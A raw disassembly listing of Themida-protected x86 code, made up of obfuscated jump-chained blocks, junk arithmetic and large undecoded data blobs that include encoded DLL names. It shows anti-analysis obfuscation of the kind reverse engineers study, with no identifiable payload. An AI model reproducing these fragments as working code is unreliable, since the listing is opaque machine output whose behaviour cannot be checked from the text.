loc_56512E:				; CODE XREF: Themida_:0055B83Aj
		push	ebx
		mov	bl, cl
		mov	[edi+eax*4+1], bl
		pop	ebx
		mov	ecx, [esp]
		push	esi
		push	esp
		jmp	loc_559D43
; ---------------------------------------------------------------------------
		dd 2E9F801h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565147:				; CODE XREF: Themida_:005633C1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_5547EB
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	6978h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 9BA523Bh
		sub	eax, 8BC2B59h
		sub	eax, 0FE26DEh
		jmp	loc_5529F4
; ---------------------------------------------------------------------------
word_565182	dw 52ACh		; DATA XREF: Themida_:00550780o
		dd 0FFADC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565189:				; CODE XREF: Themida_:00564695j
		mov	[esp], edx
		mov	edx, 1AA56652h
		jmp	loc_564E0E
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0C8B02404h, 0C70009B7h, 582434FFh, 2C04C483h, 0A62C21h
		dd 4EC81F8h, 0E9000000h, 0FFFFE034h, 1624E94Bh,	515AFFFFh
		dd 2B9h, 59CF0100h, 0E9243C33h,	0FFFFADAFh, 0BE565954h
		dd 40A27DB9h, 8103EEC1h, 144FB3EEh, 48E98108h, 150AB7Bh
		dd 48C181F1h, 0E950AB7Bh, 0FFFF8E46h
; ---------------------------------------------------------------------------


loc_5651F4:				; CODE XREF: Themida_:005598C6j
		push	ecx
		jmp	loc_5603FC
; ---------------------------------------------------------------------------


loc_5651FA:				; CODE XREF: Themida_:005642CBj
		push	ecx
		mov	ecx, 4
		sub	ebx, 0F3509F0h
		add	ebx, ecx
		jmp	loc_552EEE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 56F0E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565216:				; CODE XREF: Themida_:00550DFCj
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_561414
; ---------------------------------------------------------------------------
		dw 5758h
		dd 54E9E789h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56522F:				; CODE XREF: Themida_:00564218j
		mov	[esp], ecx
		push	ebx
		jmp	loc_551DAA
; ---------------------------------------------------------------------------
		dd 0B7E9D701h, 51FFFF89h, 0FF80CCE9h, 0D1DEF7FFh, 0BBC681E6h
		dd 29E2886Dh, 2434FFF3h, 0FFE5E95Eh, 0E2DFFFFh,	570480Eh
		dd 0CFC1865Dh, 48BC201h, 4C48324h, 0BE5AD189h, 7F5D5B4Eh
		dd 0FF2F34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565279:				; CODE XREF: Themida_:005532BAj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	9B86EB3h
		jmp	loc_564633
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B9240C89h, 79FA2E9Fh, 82CE981h, 0CB011F1Bh,	592434FFh
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch, 17E9243Ch
		dd 0FFFFFF8Fh, 58042474h, 5C24048Fh, 5EE95351h,	89FFFECAh
		dd 2CB82404h, 25788B42h, 5936756Dh, 34E4F0Dh, 24E95206h
		dd 5AFFFF0Dh, 2C94C381h, 0FB0133C4h, 2C94EB81h,	335F33C4h
		dd 1C31241Ch, 241C3324h, 8F9BE95Ch, 0E189FFFFh,	4C181h
		dd 0C1830000h, 240C8704h, 0FED9FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565319:				; CODE XREF: Themida_:005521CDj
		not	edi
		xchg	edi, [esp]
		pop	edx
		dec	edx
		push	edi
		mov	edi, 4C667DBDh
		neg	edi
		jmp	loc_564600
; ---------------------------------------------------------------------------
		db 5, 2, 0
		dd 4330000h, 24043124h,	8B240433h, 10E92424h, 1FFFFCEh
		dd 0E9042454h, 0FFFF9F14h, 0D0F7D8F7h, 8B0E7B2Dh, 7CA72D1Ah
		dd 0E73551C1h, 8928FE40h, 0F33158C6h, 8124348Bh, 4C4h
		dd 3EEB8100h, 81588BC0h, 5D511AEFh, 55DF017Fh, 0FEE265E9h
		dd 0E9BAB2FFh, 0FFFEFC47h
; ---------------------------------------------------------------------------


loc_565388:				; CODE XREF: Themida_:00551524j
		pop	edi
		push	edx
		mov	edx, 1F17754Bh
		add	ebp, edx
		pop	edx
		inc	ebp
		add	ebp, 0AE274775h
		mov	edx, ebp
		pop	ebp
		add	eax, 5ADD04D0h
		add	eax, edx
		sub	eax, 5ADD04D0h
		jmp	loc_5544DB
; ---------------------------------------------------------------------------
		db 2Ch,	0BBh, 0E9h
		dd 0FFFEED61h, 5E08950h, 4, 0FEC7D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5653C1:				; CODE XREF: Themida_:005509E6j
		mov	ebp, 0A0600BCh
		jmp	loc_55FDF8
; ---------------------------------------------------------------------------


loc_5653CB:				; CODE XREF: Themida_:00553F8Dj
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5557B7
; ---------------------------------------------------------------------------
		db 81h
		dd 265481F2h, 0B5C9E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5653EA:				; CODE XREF: Themida_:005543DDj
		mov	ebx, 3522E8Bh
		add	edx, ebx
		jmp	loc_558F28
; ---------------------------------------------------------------------------
		dw 29BBh
		dd 0E97BD576h, 0FFFF9274h
; ---------------------------------------------------------------------------


loc_565400:				; CODE XREF: Themida_:005573CEj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5614FE
; ---------------------------------------------------------------------------


loc_56540C:				; CODE XREF: Themida_:0055D730j
		inc	esi
		jmp	loc_55B558
; ---------------------------------------------------------------------------
word_565412	dw 8B66h		; DATA XREF: Themida_:005507F8o
		dd 89572404h, 4EC83E7h,	0E9241C89h, 0FFFF05E0h,	0C763E1BFh
		dd 0E9F8015Fh, 0FFFEC4C3h
; ---------------------------------------------------------------------------


loc_565430:				; CODE XREF: Themida_:0055B464j
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		db 50h,	68h, 71h
		dd 0E9222B4Fh, 0FFFFD94Ah, 3304EB83h, 62E9241Ch, 89FFFEFBh
		dd 0B2BBE9D8h, 0C581FFFFh, 0D2E2E7E1h, 815DEE09h, 0DB1E98CEh
		dd 0FEBD5529h, 313FFF7Bh, 77095DEEh, 24348B1Ch,	81E68956h
		dd 4C6h, 0DAEFE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56547E:				; CODE XREF: Themida_:0055C554j
		pop	edi
		pop	edx
		jmp	loc_564950
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 57241C89h, 137D43BFh, 41F78153h, 8953137Dh, 0DA015FFBh
		dd 0E92434FFh, 0FFFF6036h, 241C8B54h, 0E904C483h, 0FFFF9960h
		dd 17DEBD55h, 0E98956A6h, 0C6BD555Dh, 11D5836h,	0A2E95DE9h
		dd 81FFFEBAh, 4ECh, 243C8900h, 0A9507EBFh, 1D282D67h, 0F80177D1h
		dd 0D11D2805h, 1689E977h, 0EC83FFFFh, 24248904h, 4240483h
		dd 0E9243C8Bh, 0FFFF0A6Bh, 0FFC0B60Fh, 89528734h, 63F1E9E2h
		dd 2C89FFFFh, 0F8D4E924h
		db 2 dup(0FFh)
word_56550E	dw 77FFh		; DATA XREF: Themida_:005507FCo
		dd 3526681Ch, 2C890000h, 8A7BD24h, 0B8504CE7h, 4E962254h
		dd 8244429h, 35BB5358h,	0E972C06Ch, 0FFFFDB46h,	0E950E289h
		dd 0FFFF965Dh
dword_56553C	dd 2E302DADh, 5055EEBh,	0E938DD24h, 0FFFF478Ah
					; DATA XREF: Themida_:005508FCo
; ---------------------------------------------------------------------------


loc_56554C:				; CODE XREF: Themida_:005630ADj
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5522D9
; ---------------------------------------------------------------------------
		dd 0E959CF89h, 0FFFFD838h, 8B2434FFh, 0C483241Ch, 4C48104h
		dd 8F000000h, 0F75C2404h, 755768F9h, 14890000h,	0E99C5024h
		dd 0FFFEB423h, 50D38853h, 0E188DC88h, 0F6E95B58h
		db 11h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56559B:				; CODE XREF: Themida_:0055E3A3j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5D2B5C30h
		jmp	loc_5553CF
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 2, 875DE801h, 665C2404h, 662CC668h, 66243489h, 22474FFh
		dd 24348B66h, 2C481h, 8F660000h, 0D4E92404h
		db 0B3h, 0FEh, 0FFh
byte_5655DB	db 66h			; DATA XREF: Themida_:0055081Co
		dd 6824048Bh, 2694h, 89241489h,	4C281E2h, 81000000h, 4EAh
		dd 24148700h, 477E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5655FE:				; CODE XREF: Themida_:0055D934j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]


loc_565610:				; CODE XREF: Themida_:00558607j
		push	2110h
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_550DE4
; ---------------------------------------------------------------------------
		db 57h
		dd 0BD55E789h, 4757156Ah, 0ED814D45h, 7FB4398Ch, 0F2E9D5F7h
		dd 81FFFFE8h, 974325EDh, 4EC8360h, 0BA241489h, 0A3B2941h
		dd 0F705E2C1h, 7E2C1DAh, 77D7E281h, 0EA812248h,	0EAB2447Eh
		dd 0E95AD509h, 0FFFEC84Bh, 5104C483h, 0FEDAAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56566D:				; CODE XREF: Themida_:0055ED51j
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 68000000h, 7286h, 0BE243489h, 36085635h, 15EF701h, 35EF81DFh
		dd 5B360856h, 0FF5A68E9h, 2434FFFFh, 8324048Bh,	0BEE904C4h
		db 0BEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5656A3:				; CODE XREF: Themida_:0055922Bj
		push	5A13h
		mov	[esp], edx
		mov	edx, esp
		push	2870h
		mov	[esp], esi
		jmp	loc_55F6D9
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 68000000h,	5A7h, 0BB241C89h, 0D786FD9h, 0DD87EB87h
		dd 0DD87D3F7h, 26E9EB87h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656DF:				; CODE XREF: Themida_:0055B291j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 57166E98h
		shr	eax, 3
		xor	eax, 0AE2CDD7h
		push	eax
		jmp	loc_5603D8
; ---------------------------------------------------------------------------


loc_565701:				; CODE XREF: Themida_:005591C7j
		sub	esi, 24344A44h
		add	esi, 23523E72h
		sub	esi, ecx
		sub	esi, 23523E72h
		push	eax
		mov	eax, 24344A44h
		add	esi, eax
		jmp	loc_557DE0
; ---------------------------------------------------------------------------
word_565722	dw 8B66h		; DATA XREF: Themida_:005507A8o
		dd 2FE9240Ch
		db 0B3h, 2 dup(0FFh)
byte_56572B	db 66h			; DATA XREF: Themida_:00550710o
		dd 0E924048Bh, 0FFFEF408h, 895DEE29h, 24348BF3h, 0A478E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565742:				; CODE XREF: Themida_:0055479Ej
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 77BA4753h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_555725
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0BEh
		dd 8121FC1Bh, 3828F8C5h, 3EDC166h, 0FF1B07E9h, 0E9C229FFh
		dd 0FFFFBCB9h, 4C481h, 0F8290000h, 0FF4EF8E9h, 2474FFFFh
		dd 241C8B04h, 0FF7435E9h, 4C483FFh, 8B243C87h, 2C892424h
		dd 4EC8124h, 89000000h,	4812424h, 424h,	242C8B00h, 4C481h
		dd 0BE560000h, 13173593h, 8904EC83h, 63B82404h,	837D4A25h
		dd 354801C0h, 72CB48E6h, 8158C609h, 977D93EEh, 5EF5011Fh
		dd 8704C583h, 248B242Ch, 9CC88524h, 0FEB1C2E9h,	4C481FFh
		dd 83000000h, 0C8704C1h, 24248B24h, 0FEB1AEE9h,	240431FFh
		dd 5C240433h, 2BF57h, 0BF570000h, 682D5398h, 0D3F7DF87h
		dd 0F781DF87h, 0AB8C83B6h, 0F94DB005h, 2DF82972h, 72F94DB0h
		dd 0FA5EE95Fh, 78E9FFFEh, 81FFFEB1h, 4C4h, 0F7515900h
		dd 31592414h, 31F131CEh, 0E9F231CEh, 0FFFEF66Eh
dword_565850	dd 0FF2434FFh, 68582434h, 64EAh, 0FF65B3E9h, 5EF301FFh
					; DATA XREF: Themida_:00550908o
		dd 2474FF53h, 0D3FEE904h, 8159FFFEh, 1963E2C9h,	0FFC1832Eh
		dd 4BADE981h, 0CE89F4BBh, 50E94659h, 51FFFFD6h,	0FFA679E9h
		dd 240C89FFh, 0FF1D22E9h, 6F095DFFh, 242C8B1Ch,	4EC81h
		dd 4890000h, 5E08924h, 4, 0E9E68956h, 0FFFEBCFAh, 0DE89C389h
		dd 83D8E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5658BE:				; CODE XREF: Themida_:00550B5Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_565A57
; ---------------------------------------------------------------------------


loc_5658CA:				; CODE XREF: Themida_:005526D3j
		mov	[esp], ecx
		jmp	loc_557D8D
; ---------------------------------------------------------------------------
		dw 3487h
		dd 9441E924h, 0C181FFFFh, 509EAD54h, 0C8BC801h,	4C48124h
		dd 57000000h, 3EA26855h, 4D5D1805h, 9A0F581h, 14E97E1Bh
		dd 53FFFF76h, 0FF65A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565905:				; CODE XREF: Themida_:005533AEj
		sub	esi, 0A0C035Bh
		xor	esi, 259E7499h
		shr	esi, 3
		shr	esi, 1
		jmp	loc_56216E
; ---------------------------------------------------------------------------


loc_56591B:				; CODE XREF: Themida_:00555C41j
		sub	ebx, 67EB1305h
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_554CE0
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFF889Fh
; ---------------------------------------------------------------------------


loc_565944:				; CODE XREF: Themida_:00554BFEj
		mov	[esp], ax
		mov	al, 30h
		sub	bl, 79h
		sub	bl, al
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	ah, 0C8h
		jmp	loc_55723E
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0D1h
		dd 0FFA002E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565965:				; CODE XREF: Themida_:005558D0j
		add	ecx, 5F567A40h
		sub	ecx, 542310A3h
		sub	ecx, edx
		add	ecx, 542310A3h
		sub	ecx, 5F567A40h
		pop	edx
		sub	ecx, 18936CB3h
		add	ecx, edx
		add	ecx, 18936CB3h
		add	ecx, 63660083h
		sub	ecx, 72906DFh
		jmp	loc_563345
; ---------------------------------------------------------------------------
		db 80h
		dd 952CB6C2h, 9504D028h, 0DE83E95Ah
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5659AE:				; CODE XREF: Themida_:00561D89j
		push	4C4Dh
		mov	[esp], esi
		push	6849614Eh
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5643D4
; ---------------------------------------------------------------------------


loc_5659CD:				; CODE XREF: Themida_:00562834j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_554AD1
; ---------------------------------------------------------------------------


loc_5659DF:				; CODE XREF: Themida_:00554EB9j
		add	eax, edi
		sub	eax, 10A04EB0h
		sub	eax, 19771064h
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ebx
		push	76EAh
		mov	[esp], eax
		jmp	loc_551B70
; ---------------------------------------------------------------------------


loc_565A08:				; CODE XREF: Themida_:0055E2D8j
		mov	ebx, 43077B39h
		jmp	loc_552CA5
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 0E9000000h, 0FFFFC24Fh
; ---------------------------------------------------------------------------


loc_565A20:				; CODE XREF: Themida_:00558434j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_5528B6
; ---------------------------------------------------------------------------
		db 81h
		dd 9A6BF1C3h, 81C30146h, 9A6BF1EBh, 24048B46h, 4C481h
		dd 0AE90000h, 58FFFEE7h, 8704ED83h, 75E9242Ch
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A57:				; CODE XREF: Themida_:005658C5j
		or	edx, eax
		jmp	loc_5514BF
; ---------------------------------------------------------------------------


loc_565A5E:				; CODE XREF: Themida_:00555D07j
		sub	edx, ebx
		sub	edx, 21A96098h
		pop	ebx
		jmp	loc_554CF7
; ---------------------------------------------------------------------------


loc_565A6C:				; CODE XREF: Themida_:0055AB34j
		push	171Eh
		mov	[esp], ebp
		push	4486h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		jmp	loc_55B4D2
; ---------------------------------------------------------------------------
		db 0F6h
		dd 172368D1h, 0CAE90000h, 81FFFF34h, 4C4h, 24048F00h, 0FF0542E9h
		dd 243C8BFFh, 8104C483h, 4ECh, 24048900h, 42474FFh, 8324048Bh
		dd 0B2E904C4h, 5CFFFFC3h, 81241C89h, 4ECh, 24148900h, 3D210568h
		dd 81525A66h, 6C422434h, 815B172Dh, 2D6C42F3h, 24148B17h
		dd 4C481h, 45E90000h
		db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565AF7:				; CODE XREF: Themida_:0055360Ej
		or	ebx, 2FF974CDh
		jmp	loc_55EB47
; ---------------------------------------------------------------------------
		dw 6857h
		dd 6D7E3067h, 8EFC15Fh,	0AFB2E957h, 0E953FFFFh,	0FFFF08BDh
dword_565B18	dd 715C68h, 240C8900h, 73DB68h,	241C8900h, 0FEBBh, 4EC8100h
					; DATA XREF: Themida_:005508A4o
		dd 89000000h, 0FF59241Ch, 1C8B2434h, 4C48324h, 34FF5450h
		dd 0C4815824h, 4, 0FF0127E9h, 294235FFh, 0E8836AEFh, 0FDA1E901h
		dd 5351FFFFh, 0C3815B54h, 4, 4EB81h, 1C870000h,	4895C24h
		dd 0EBCFE924h, 515FFFFFh, 0FEC2ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565B81:				; CODE XREF: Themida_:00562E93j
		mov	ebx, 52706A10h
		push	edx
		mov	edx, ebx
		jmp	loc_55C95D
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 0E9240C8Bh, 0FFFFDC4Bh, 738CE951h
		db 2 dup(0FFh)
word_565B9E	dw 34FFh		; DATA XREF: Themida_:005508B0o
		dd 2434FF24h, 0C215E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565BAA:				; CODE XREF: Themida_:0055BF57j
		mov	ecx, edx
		mov	ebp, ecx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55503E
; ---------------------------------------------------------------------------
		dd 29A1E681h, 0C6E966DDh, 50FFFF8Eh, 0FECDE0E9h, 4BEFFh
		dd 0F3290000h, 241C875Eh, 241C895Ch, 0FEF187E9h, 240483FFh
		dd 24148B04h, 0FF9751E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565BF1:				; CODE XREF: Themida_:00559F21j
		xor	eax, esi
		xor	esi, eax
		not	eax
		push	edi
		jmp	loc_562FA1
; ---------------------------------------------------------------------------


loc_565BFD:				; CODE XREF: Themida_:0055D9CFj
		push	esi
		jmp	loc_561454
; ---------------------------------------------------------------------------
		db 55h
		dd 4EC81h, 0C890000h, 15B66824h, 0C1595181h, 0E98103E9h
		dd 0A3022B4h, 0FF3AE9E9h, 4118BAFFh, 7B6869A4h,	0E9000079h
		dd 0FFFF347Ah, 80E2EB80h, 34E992C3h, 1FFFF44h, 81042444h
		dd 0B804246Ch, 0E955166Fh, 0FFFECA52h, 5E08950h, 4, 405h
		dd 24048700h, 0FFC92FE9h, 58C589FFh, 52DFDBBBh,	5DEB0186h
		dd 0FEAE03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565C71:				; CODE XREF: Themida_:00558833j
		mov	edx, 7E1054E8h
		push	edi
		push	esi
		push	3F1248B0h
		pop	esi
		shr	esi, 2
		inc	esi
		sub	esi, 0C41B6D9Ch
		mov	edi, esi
		pop	esi
		jmp	loc_55191C
; ---------------------------------------------------------------------------
		dd 6F8EE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C96:				; CODE XREF: Themida_:005580D5j
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, 0DBE0866h
		jmp	loc_55B194
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 248B241Ch, 241C3324h, 0FF2B04E9h,	242489FFh
		dd 4240481h, 8B000000h,	0FA68242Ch, 0E900002Ah,	0FFFF6E4Ch
; ---------------------------------------------------------------------------


loc_565CD0:				; CODE XREF: Themida_:00561923j
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_55D407
; ---------------------------------------------------------------------------


loc_565CDE:				; CODE XREF: Themida_:0056510Bj
		push	eax
		mov	eax, ecx
		jmp	loc_563A7E
; ---------------------------------------------------------------------------


loc_565CE6:				; CODE XREF: Themida_:0055FD86j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_551E16
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2564E924h, 0ED81FFFFh, 0E272ABD0h, 525DEE01h, 0FF9ED9E9h
		dd 4FF66FFh, 98E99C24h
		db 0ACh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565D17:				; CODE XREF: Themida_:0055A1ADj
		pop	ebx
		sub	edx, 41300D7Eh
		sub	ebp, edx
		pop	edx
		push	6943h
		jmp	loc_55B0DC
; ---------------------------------------------------------------------------
		db 89h
		dd 1AB9240Ch, 8104941Dh, 5E5F7DC9h, 0F181411Ch,	7CC87293h
		dd 159CA01h, 13EA81CAh,	8B60162Dh, 0C481240Ch, 4, 5C241487h
		dd 4EC81h, 4890000h, 5FE95424h,	2DFFFFE9h, 2D5B4CD2h, 2404335Bh
		dd 0FFD273E9h, 8E8FFh, 85D50000h, 17A2E588h, 0D781F58Dh
		dd 7D36FAC3h, 0D1BF0F5Bh, 66F7C381h, 51600000h,	3B66CE81h
		dd 0E85E251Ch, 0Eh, 65F96500h, 0E8EB1968h, 915C0A3Eh, 0BB660266h
		dd 615B5BF1h, 1981B8h, 10E800h,	0F3A60000h, 8DB98452h
		dd 4E6EE657h, 0C2BC00FAh, 0BFBF9DFBh, 5922EF69h, 0D38B33FFh
		dd 0CE85Eh, 907A0000h, 1527E025h, 5638E797h, 830FE331h
		dd 3, 5FAEC980h, 3ED9EE81h, 8B66231Dh, 0B8C681F9h, 66324B9Ch
		dd 5460D281h, 0DBBAF681h, 7E96B4Dh, 74000000h, 0D68543B3h
		dd 0B256F58Bh, 66038F0Ch, 8197CDBAh, 0C83614EBh, 0EE81Dh
		dd 40F00000h, 3DA402FAh, 5184AA75h, 17834D35h, 3840Fh
		dd 0B70F0000h, 0C3815ACEh, 1DC83610h, 0AEA6F181h, 0E88301A9h
		dd 79850F01h, 0E8FFFFFFh, 10h, 0A2EC6545h, 0F427C9D8h
		dd 0C87F4F41h, 59DD9A16h, 5536EB5Ah, 33524553h,	6C642E32h
		dd 4441006Ch, 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h
		dd 6C6C642Eh, 0A07D700h, 12000400h, 20000C00h, 37000F00h
		dd 0B4882A01h, 843E936h, 0C0680000h, 0E9060997h, 0FFFDE68Bh
		dd 9982F68h, 0E681E906h, 3368FFFDh, 0E9060999h,	0FFFDE677h
		dd 99A7F68h, 0E66DE906h, 0EB68FFFDh, 0E906099Ah, 0FFFDE663h
		dd 99C1D68h, 0E659E906h, 8768FFFDh, 0E906099Ch,	0FFFDE64Fh
		dd 9A2FC6F7h, 9328C7F3h, 8E23BEECh, 881DB8E7h, 7E13AEE1h
		dd 0DD10CBE3h, 0DB08AF44h, 0D406AD42h, 0D505AC41h, 72E0AD42h
		dd 9A5B1384h, 39475E43h, 0E0CA6390h, 81C33E14h,	0C26B01F9h
		dd 18CD2D90h, 3D47152Dh, 725CF59Ch, 3AD27C6Ah, 0BA8D47A2h
		dd 90BC6533h, 0FFC50BF5h, 919BE63Dh, 8D7B1109h,	67C107B3h
		dd 0AB54FBCEh, 0A7952B23h, 61B9FE5Bh, 10B94F22h, 2B045E0h
		dd 0A18B2659h, 0FFD570A0h, 179B60C5h, 0CAF576A5h, 6C000006h
		dd 6E15AA3Bh, 670EA342h, 62099E39h, 5E059A33h, 6A059A2Bh
		dd 0D1649752h, 0CD68953Ch, 0C45F9138h, 0BD58882Fh, 0FFED5B28h
		dd 439A5B8Eh, 2CF0C2D9h, 19C269FCh, 8233D191h, 0F4CD5293h
		dd 0ACB40DBh, 2A34485h,	0E113BC6Ch, 1C069F46h, 9B7DD5D6h
		dd 972D0047h, 9429BCEEh, 0A3ABBEDh, 9C23CA6Bh, 0CF03D96Ch
		dd 0B3FA61D0h, 65B0384h, 0CCFD0000h, 0D1FDA439h, 0CCFAA136h
		dd 0C6F59C31h, 0BCEF962Bh, 0E1F99429h, 0CD62F326h, 0C75CF926h
		dd 0BE53EE20h, 0BB50E717h, 219280EEh, 6C439A5Ah, 0FC2C8355h
		dd 8B34C269h, 0D6D7C15Ch, 85680FA6h, 0F9DCE22Ch, 0E319AEBBh
		dd 4Dh,	69FC2C47h, 887626D4h, 49A3F217h, 0AB3EC762h, 78A448D0h
		dd 2521EDD7h, 9047C8A2h, 1E08DE18h, 0A39B6BD8h,	0E87FAF49h
		dd 0A028A53h, 0BBB58674h, 0AD8047A2h, 0A93C6E17h, 0A83B6D14h
		dd 0B23B6912h, 0A047E885h, 83041D07h, 5C5h, 7BFC2CF9h
		dd 750BAC4Bh, 5C039ECCh, 17C0D9C3h, 7E01978Fh, 88D59971h
		dd 0C0C8B244h, 44238D10h, 0B1B72816h, 2F0249A3h, 0F3909BC6h
		dd 79D1C309h, 491C47A2h, 4ADD0DB4h, 6C64ECB5h, 0E2F0E8D6h
		dd 34074194h, 42C3F59Eh, 0BAE97815h, 3EDF781Fh,	39CCFFA8h
		dd 80FF992h, 0ED942F61h, 82B13666h, 427046E7h, 78F07A75h
		dd 557C849h, 0C8F90000h, 0C5F1982Dh, 0C0EE952Ah, 0BAE99025h
		dd 0B0E38A1Fh, 0CDE58015h, 0B146DF12h, 0AB40DD0Ah, 0AA3FD204h
		dd 9F34D303h, 57664D2h,	50439A59h, 0FC2C6739h, 7AE497Bh
		dd 9826CD6Eh, 0F289FAE8h, 9BCD49A3h, 40C86108h,	5282836Dh
		dd 0D0290CB3h, 0F0D09346h, 508049A3h, 17574CB5h, 6F1CC7F7h
		dd 45EFE7CEh, 2ED719AFh, 85796302h, 0FFFFFEEFh,	69FC2CE9h
		dd 999119C2h, 0D9431503h, 7D0047A2h, 651CFB3Ah,	72F8E52Eh
		dd 84340C5Ah, 2CFFF9E3h, 4E46CE97h, 0DBD0CAB8h,	18EB419Bh
		dd 0AB37A571h, 4D7B3D95h, 56840BB2h, 988614BBh,	3D95AB27h
		dd 2DE69F72h, 9A7D23E3h, 38B4A8Ch, 0A45125BDh, 0B5000001h
		dd 199CC33Eh, 2A324E38h, 496C56AAh, 8333C9C1h, 2812ABDAh
		dd 0A26638E2h, 8A20F347h, 3D2E4907h, 9C86C55Ch,	0F452D5A3h
		dd 468D5411h, 0FD51B05h, 0A19BE6C7h, 78013319h,	6F08AF4Ah
		dd 71A027CEh, 0F79831D8h, 0E917C056h, 6E5C644Eh, 67C19094h
		dd 0C346DCAFh, 1411F785h, 0FB14FE00h, 3CD2CA52h, 0BA8A024Eh
		dd 60F6C961h, 5951C2B0h, 0C99C5DB4h, 0FE2ED7DFh, 0FC28D167h
		dd 0C9707761h, 9C28FE99h, 3E1784DCh, 40B8E0Fh, 7CAD0000h
		dd 81AD54E9h, 7CAA51E6h, 76A54CE1h, 6C9F46DBh, 91A944D9h
		dd 7D12A3D6h, 770CA9D6h, 6E039ED0h, 6B0097C7h, 0D142309Eh
		dd 1C439A58h, 820A3305h, 5D06F48Ah, 18479C7Ch, 0F78D2857h
		dd 9A5B9809h, 6F10E343h, 75FE30D9h, 790EAF42h, 5E05A0D2h
		dd 0F022A7D7h, 5B017260h, 794C439Ah, 4F6137D8h,	7BFA62D2h
		dd 39FCB4Ch, 10410000h,	0D39E075h, 836DD72h, 231D86Dh
		dd 0F82BD267h, 152DC85Dh, 0F98E275Ah, 0F3882552h, 0F2871A4Ch
